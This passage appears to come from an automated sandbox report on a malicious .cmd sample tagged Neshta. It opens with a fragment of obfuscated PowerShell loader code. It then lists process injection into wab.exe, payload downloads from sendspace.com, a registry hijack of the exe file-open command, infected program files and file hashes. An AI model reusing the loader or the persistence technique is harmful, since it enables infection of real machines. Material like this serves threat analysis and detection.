,ribsInkie. DvekcLedeloSpl.juStrean F,lttBrndv ') ;$Sprngningers=$Fldningstidens[$Sempiternal];}$Erstatningsfri=301739;$Capanne=29374;Unschool (Udvindende ',andr$Chrong isthlDipl oAmet.bPenneaAdaw.lRnner:KundeBDaikeikarollapprefVirker,orosaSuperg,nraatIdenteGriphrForsg Skjal=Misvi ChapeGGulddeMtg,otTr.wl-UdlaaC.arstoAll rnVandrtDialle m,ntnY gadtKedso Nonpl$SpndeRA,dreeFlighgReg.onRi dasMiniskMckniaVarmeb BrodsJernbl Nor,oAfsk vUnsadeAfdrysdrevb ');Unschool (Udvindende ' .ntt$RevolgBrusel ublaoEng obPyntsaSk delSprjt:LderiS udbyvBrddeeSv skd Aarse Nonmk.ryggu rsterleddeeUnikan Multe Skuf Over,= rist Steen[Kil eSMirexy.nforsRe.owtKi noe El.emfiefe.CorelCAfskroIndusnTrivivFo.edeSitu,rBurdstAlbes]Linie:Jumps:FaradFVealyrLommeoMythomR,forBStyreaEffuss Cagie Pr.g6Presc4 TymbS Ci,rtNontrrMetatiSpo,enPaadugTech (Tryka$CaracBHoeviiImporlSagfrf HentrKinseaGesitgShirrtLiotre U.varTempe)Seleu ');Unschool (Udvindende 'Autop$ZorrigHalvalUbeslo Py,sb.ruppaKon ol.nfor:ExtraT Un.ei Max lH.bbesOldweiDeunak D sprUdvidiUnfe,nBradegTalg. F,ers=Udsal Afre,[MarinShonilyUnfriscpositdissieWess mSag,b.DumpoT,ulleeEcto x LavrtCha h. Ud eEAnisonRebalcSterioBl erdHjem,iD.catnsu.figHa dl]Irrec:Viges:pantoAOvergSM rtiCUnfoiIA.tfuI,uthe.Bl baGkel eeRevertIdeasSTy.patTrafirPaph.iAzoxinOverbg Un o( Clem$ PipiSDebilvVokseeAnte.dElvereMi,roku deruPartir Mod.espirinBarbee Takk)Juckr ');Unschool (Udvindende 'Shurg$IntergAlarmlReorgoMongobC.oicaBoatal,elin:SourdOStrenwMaha.e,amelrVerdet,raada RolleS,pernCelle= Skru$Bro cTOve siProfilSubg.sSub eiCo,dekU yrlrEgetbi,ogienUnthegsinni.FjollsFortvuInar.bMaximsMos stF.rsgrAdvi i.tockn,ydisgTreef( Avia$IncorEKeelbr.enjis aksltIveliaKnlentRepolnSkrmbi DenonraptugpreexsDriftf .onkrSrgefiMat r,Afske$,hinnCHypnoaGrsgap,lumpaBlas.nLawnlnFisk e Ek p)Hy,ro ');Unschool $Owertaen;"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fettle.Han && echo t"

C:\Program Files (x86)\windows mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe"

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	www.sendspace.com	udp
US	104.21.28.80:443	www.sendspace.com	tcp
US	8.8.8.8:53	fs03n2.sendspace.com	udp
CA	69.31.136.17:443	fs03n2.sendspace.com	tcp
US	8.8.8.8:53	crt.sectigo.com	udp
US	104.18.38.233:80	crt.sectigo.com	tcp
US	104.21.28.80:443	www.sendspace.com	tcp
US	8.8.8.8:53	fs13n4.sendspace.com	udp
CA	69.31.136.57:443	fs13n4.sendspace.com	tcp

Files

memory/2268-4-0x000007FEF608E000-0x000007FEF608F000-memory.dmp

memory/2268-5-0x000000001B7F0000-0x000000001BAD2000-memory.dmp

memory/2268-6-0x0000000001D20000-0x0000000001D28000-memory.dmp

memory/2268-8-0x000007FEF5DD0000-0x000007FEF676D000-memory.dmp

memory/2268-9-0x000007FEF5DD0000-0x000007FEF676D000-memory.dmp

memory/2268-10-0x000007FEF5DD0000-0x000007FEF676D000-memory.dmp

memory/2268-11-0x000007FEF5DD0000-0x000007FEF676D000-memory.dmp

memory/2268-7-0x000007FEF5DD0000-0x000007FEF676D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Cab29C1.tmp

MD5	29f65ba8e88c063813cc50a4ea544e93
SHA1	05a7040d5c127e68c25d81cc51271ffb8bef3568
SHA256	1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
SHA512	e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

C:\Users\Admin\AppData\Local\Temp\Tar29D3.tmp

MD5	435a9ac180383f9fa094131b173a2f7b
SHA1	76944ea657a9db94f9a4bef38f88c46ed4166983
SHA256	67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
SHA512	1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8A5MRMI64XP3CEHTLS9O.temp

MD5	7250fb5c3092be6c9e02c015c4669175
SHA1	8ebdb5b45cfe782cbe4f85e70fc711a7ad8a95a5
SHA256	115dc21510cee6d8a7e280c7a58c9b9f186f5711986bd35f74ac5b8ea336c64a
SHA512	f6ec42ab4f31119cb3ff2869050a7f814bcb9b63904192d6722928991096d54c9cefcbca8b65576ba9b42e034294f811c453a92ee959cfdb4e44d64a5665ee46

C:\Users\Admin\AppData\Roaming\Fettle.Han

MD5	55ca93fbeaa671e53d34c80fe6912d87
SHA1	9f722fbaf5c5353347afbde9d3840cbf38f45fb9
SHA256	6ddeb5617a35cb4f0975b03118587f8d77f0f06dcdf13bc8532caa37bba195ad
SHA512	79352e41e4691142721efadc4bac30804a2b89c3464a474017950063fde46ff9f779e1506df459e10fd87829b1cbd02e5199b863a059aef55e7914e358e05c8d

memory/316-55-0x0000000006610000-0x0000000008960000-memory.dmp

memory/2268-56-0x000007FEF5DD0000-0x000007FEF676D000-memory.dmp

memory/2268-57-0x000007FEF608E000-0x000007FEF608F000-memory.dmp

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5	df1928a83e8fe175f12287119dfe5acf
SHA1	0fbd0f12a7e9789ea4ec09a1af8cc882c87c8280
SHA256	7b07afd53df4545334b3964fb677345bef36e11b3a4e9c6812659053532e885d
SHA512	e5a5971337b7c168f21d3f22b888ad68a4ebfa769c2b0a7ea3816364e7bedd621ca327f4aa9f78933e8b28bbf7252c7f6d2707be41dc1d672296ba3540a4a067

memory/336-83-0x0000000000D00000-0x0000000001D62000-memory.dmp

memory/2268-87-0x000007FEF5DD0000-0x000007FEF676D000-memory.dmp

C:\MSOCache\ALLUSE~1\{90140~1\dwtrig20.exe

MD5	fa9e52ffa7ca60c38d490abd96cb3952
SHA1	b8ef0fafe68035128978f0383fab3863301aa62e
SHA256	d416c89d8a396915106fb2462430d90bbe1be05c444098bfc671bb3d12089d96
SHA512	26d959e451ee66a26ead7b7971b3993c3f6882abd912ba5a641215cb90f18bbb7ac94e7ae3008bbf2c1c497e6989b8a607b63967b6dd3aa1ef4a5a953342d1ce

\PROGRA~2\Adobe\READER~1.0\Reader\LOGTRA~1.EXE

MD5	9e2b9928c89a9d0da1d3e8f4bd96afa7
SHA1	ec66cda99f44b62470c6930e5afda061579cde35
SHA256	8899b4ed3446b7d55b54defbc1acb7c5392a4b3bc8ec2cdc7c31171708965043
SHA512	2ca5ad1d0e12a8049de885b90b7f56fe77c868e0d6dae4ec4b6f3bc0bf7b2e73295cc9b1328c2b45357ffb0d7804622ab3f91a56140b098e93b691032d508156

memory/336-166-0x0000000000D00000-0x0000000001D62000-memory.dmp

memory/336-168-0x0000000000D00000-0x0000000001D62000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-24 01:42

Reported

2024-05-24 01:45

Platform

win10v2004-20240508-en

Max time kernel

134s

Max time network

148s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\c73db3a4bf51b48059eef2a5003feafc43dc7e93bf8c70fb51a0423c212d85a7.cmd"

Signatures

Neshta

persistence spyware neshta

Blocklisted process makes network request

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A

Command and Scripting Interpreter: PowerShell

execution

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A

Modifies system executable filetype association

persistence

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	C:\Program Files (x86)\windows mail\wab.exe	N/A

Suspicious use of NtCreateThreadExHideFromDebugger

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\windows mail\wab.exe	N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Program Files (x86)\windows mail\wab.exe	N/A

Suspicious use of SetThreadContext

Description	Indicator	Process	Target
PID 4788 set thread context of 3160	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe

Drops file in Program Files directory

Description	Indicator	Process	Target
File opened for modification	C:\PROGRA~2\COMMON~1\Oracle\Java\javapath\javaw.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOOGLE~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\INTERN~1\ExtExport.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~3\PACKAG~1\{4D8DC~1\VC_RED~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~3\PACKAG~1\{CA675~1\VCREDI~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~3\PACKAG~1\{EF6B0~1\VCREDI~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\Browser\WCCHRO~1\WCCHRO~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\FULLTR~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\MSEDGE~2.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\NOTIFI~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WINDOW~4\wmpshare.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WI8A19~1\ImagingDevices.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ADOBEC~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\COOKIE~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WINDOW~4\wmpconfig.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\BHO\IE_TO_~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\Download\{F3C4F~1\13187~1.37\MICROS~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WINDOW~4\wmlaunch.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\IDENTI~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\Java\JAVAUP~1\jusched.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WINDOW~2\wabmig.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\Adobe\ARM\1.0\AdobeARM.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\WOW_HE~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\MSInfo\msinfo32.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\Oracle\Java\javapath\java.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOOGLE~4.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\MicrosoftEdgeUpdate.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~3\PACKAG~1\{EF5AF~1\WINDOW~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\plug_ins\PI_BRO~1\64BITM~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOBD5D~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\INSTAL~1\setup.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13187~1.37\MI391D~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WINDOW~4\wmplayer.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~3\PACKAG~1\{33D1F~1\VCREDI~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOOGLE~3.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\arh.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\Java\JAVAUP~1\jucheck.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\INTERN~1\ielowutil.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\MSEDGE~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\msedge.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\MSEDGE~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\PWAHEL~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROTE~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOF5E2~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\plug_ins\PI_BRO~1\32BITM~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\LOGTRA~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Google\Update\DISABL~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MOZILL~1\MAINTE~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MOZILL~1\UNINST~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~3\Adobe\Setup\{AC76B~1\setup.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\AcroRd32.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\PWAHEL~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13187~1.37\MICROS~2.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\INTERN~1\ieinstal.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\Oracle\Java\javapath\javaws.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GO664E~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13187~1.37\MI9C33~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WINDOW~4\wmprph.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~3\PACKAG~1\{D87AE~1\WINDOW~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\READER~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ADelRCP.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\Eula.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\Java\JAVAUP~1\jaureg.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\VSTO\10.0\VSTOIN~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A

Drops file in Windows directory

Description	Indicator	Process	Target
File opened for modification	C:\Windows\svchost.com	C:\Program Files (x86)\windows mail\wab.exe	N/A

Modifies registry class

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	C:\Program Files (x86)\windows mail\wab.exe	N/A

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious behavior: MapViewOfSection

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 3236 wrote to memory of 4068	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3236 wrote to memory of 4068	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4068 wrote to memory of 2068	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\system32\cmd.exe
PID 4068 wrote to memory of 2068	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\system32\cmd.exe
PID 4068 wrote to memory of 4788	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 4068 wrote to memory of 4788	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 4068 wrote to memory of 4788	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 4788 wrote to memory of 4364	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\cmd.exe
PID 4788 wrote to memory of 4364	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\cmd.exe
PID 4788 wrote to memory of 4364	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\cmd.exe
PID 4788 wrote to memory of 3160	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 4788 wrote to memory of 3160	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 4788 wrote to memory of 3160	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 4788 wrote to memory of 3160	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 4788 wrote to memory of 3160	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\c73db3a4bf51b48059eef2a5003feafc43dc7e93bf8c70fb51a0423c212d85a7.cmd"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fettle.Han && echo t"

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fettle.Han && echo t"

C:\Program Files (x86)\windows mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe"

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	232.168.11.51.in-addr.arpa	udp
US	8.8.8.8:53	8.8.8.8.in-addr.arpa	udp
US	8.8.8.8:53	240.221.184.93.in-addr.arpa	udp
US	8.8.8.8:53	www.sendspace.com	udp
US	172.67.170.105:443	www.sendspace.com	tcp
US	8.8.8.8:53	105.170.67.172.in-addr.arpa	udp
US	8.8.8.8:53	17.160.190.20.in-addr.arpa	udp
US	8.8.8.8:53	fs03n4.sendspace.com	udp
CA	69.31.136.17:443	fs03n4.sendspace.com	tcp
US	8.8.8.8:53	crt.sectigo.com	udp
US	104.18.38.233:80	crt.sectigo.com	tcp
US	8.8.8.8:53	g.bing.com	udp
US	204.79.197.237:443	g.bing.com	tcp
US	8.8.8.8:53	17.136.31.69.in-addr.arpa	udp
US	8.8.8.8:53	233.38.18.104.in-addr.arpa	udp
US	8.8.8.8:53	23.149.64.172.in-addr.arpa	udp
US	8.8.8.8:53	237.197.79.204.in-addr.arpa	udp
US	8.8.8.8:53	26.35.223.20.in-addr.arpa	udp
BE	2.17.107.98:443	www.bing.com	tcp
US	8.8.8.8:53	98.107.17.2.in-addr.arpa	udp
US	8.8.8.8:53	149.220.183.52.in-addr.arpa	udp
US	8.8.8.8:53	209.205.72.20.in-addr.arpa	udp
US	172.67.170.105:443	www.sendspace.com	tcp
US	8.8.8.8:53	35.169.217.172.in-addr.arpa	udp
US	8.8.8.8:53	fs13n1.sendspace.com	udp
CA	69.31.136.57:443	fs13n1.sendspace.com	tcp
US	8.8.8.8:53	57.136.31.69.in-addr.arpa	udp
US	8.8.8.8:53	157.123.68.40.in-addr.arpa	udp
US	8.8.8.8:53	15.164.165.52.in-addr.arpa	udp
US	8.8.8.8:53	82.90.14.23.in-addr.arpa	udp
US	8.8.8.8:53	172.210.232.199.in-addr.arpa	udp
US	8.8.8.8:53	48.229.111.52.in-addr.arpa	udp
US	8.8.8.8:53	tse1.mm.bing.net	udp
US	204.79.197.200:443	tse1.mm.bing.net	tcp
US	204.79.197.200:443	tse1.mm.bing.net	tcp
US	204.79.197.200:443	tse1.mm.bing.net	tcp
US	204.79.197.200:443	tse1.mm.bing.net	tcp
US	8.8.8.8:53	205.47.74.20.in-addr.arpa	udp
US	8.8.8.8:53	200.197.79.204.in-addr.arpa	udp

Files

memory/4068-2-0x00007FFBF0D83000-0x00007FFBF0D85000-memory.dmp

memory/4068-3-0x00000238FB8B0000-0x00000238FB8D2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gzmw3e20.tzg.ps1

MD5	d17fe0a3f47be24a6453e9ef58c94641
SHA1	6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256	96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512	5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4068-13-0x00007FFBF0D80000-0x00007FFBF1841000-memory.dmp

memory/4068-14-0x00007FFBF0D80000-0x00007FFBF1841000-memory.dmp

memory/4788-23-0x0000000074A9E000-0x0000000074A9F000-memory.dmp

memory/4788-24-0x0000000003020000-0x0000000003056000-memory.dmp

memory/4788-25-0x0000000074A90000-0x0000000075240000-memory.dmp

memory/4788-26-0x0000000005B40000-0x0000000006168000-memory.dmp

memory/4788-27-0x0000000005AA0000-0x0000000005AC2000-memory.dmp

memory/4788-28-0x0000000006170000-0x00000000061D6000-memory.dmp

memory/4788-29-0x0000000006310000-0x0000000006376000-memory.dmp

memory/4788-39-0x0000000006380000-0x00000000066D4000-memory.dmp

memory/4788-40-0x0000000006950000-0x000000000696E000-memory.dmp

memory/4788-41-0x0000000006980000-0x00000000069CC000-memory.dmp

memory/4788-42-0x00000000080E0000-0x000000000875A000-memory.dmp

memory/4788-43-0x0000000007A90000-0x0000000007AAA000-memory.dmp

memory/4788-44-0x0000000007C60000-0x0000000007CF6000-memory.dmp

memory/4788-45-0x0000000007B80000-0x0000000007BA2000-memory.dmp

memory/4788-46-0x0000000008D10000-0x00000000092B4000-memory.dmp

C:\Users\Admin\AppData\Roaming\Fettle.Han

MD5	55ca93fbeaa671e53d34c80fe6912d87
SHA1	9f722fbaf5c5353347afbde9d3840cbf38f45fb9
SHA256	6ddeb5617a35cb4f0975b03118587f8d77f0f06dcdf13bc8532caa37bba195ad
SHA512	79352e41e4691142721efadc4bac30804a2b89c3464a474017950063fde46ff9f779e1506df459e10fd87829b1cbd02e5199b863a059aef55e7914e358e05c8d

memory/4788-48-0x00000000092C0000-0x000000000B610000-memory.dmp

memory/4068-49-0x00007FFBF0D83000-0x00007FFBF0D85000-memory.dmp

memory/4068-50-0x00007FFBF0D80000-0x00007FFBF1841000-memory.dmp

memory/3160-67-0x0000000001400000-0x0000000002654000-memory.dmp

memory/4788-70-0x0000000074A90000-0x0000000075240000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\3582-490\wab.exe

MD5	72ad21d191b58842334d32a381ea7fa8
SHA1	f7375f09855a7bce9f7a152c75e84aac69caf828
SHA256	87abfab7bf5e213fc9e63c7fa39edfa6452eb5f7fdd668cd370d9cf4ea3ef729
SHA512	78662231c7ce0d03374b69dfd32614786dc5bf0c8ad2baadf2143f42bb03bd378632cc457dc414aa7e3d284674cc9151c39f90d71d9a5dd15dba689b2283386d

memory/4068-82-0x00007FFBF0D80000-0x00007FFBF1841000-memory.dmp

C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROTE~1.EXE

MD5	0a1704e48ff603332eaac935608d3cf1
SHA1	e138d3d481c054a89b85312bfddd2f8a0baf8c1b
SHA256	d9e02af7b220e25f385c71e0a3be4b83203e0673cc1e56fcf02d3e1f0f3774b6
SHA512	7cec7a7c5542e66e347381e9ab5572b2231ab11dac61d9a76bcb7cbd4bd1e86f8169e7840c2e69f93e686cc1834e52cd6b47817b760ea618139a3de64076314f

memory/3160-170-0x0000000001400000-0x0000000002654000-memory.dmp

memory/3160-171-0x0000000001400000-0x0000000002654000-memory.dmp

memory/3160-173-0x0000000001400000-0x0000000002654000-memory.dmp

Sample ID	240524-b42gasgh97
Target	c73db3a4bf51b48059eef2a5003feafc43dc7e93bf8c70fb51a0423c212d85a7.cmd
SHA256	c73db3a4bf51b48059eef2a5003feafc43dc7e93bf8c70fb51a0423c212d85a7
Tags	neshta execution persistence spyware

Malware Analysis Report

2024-09-11 03:06

Table of Contents

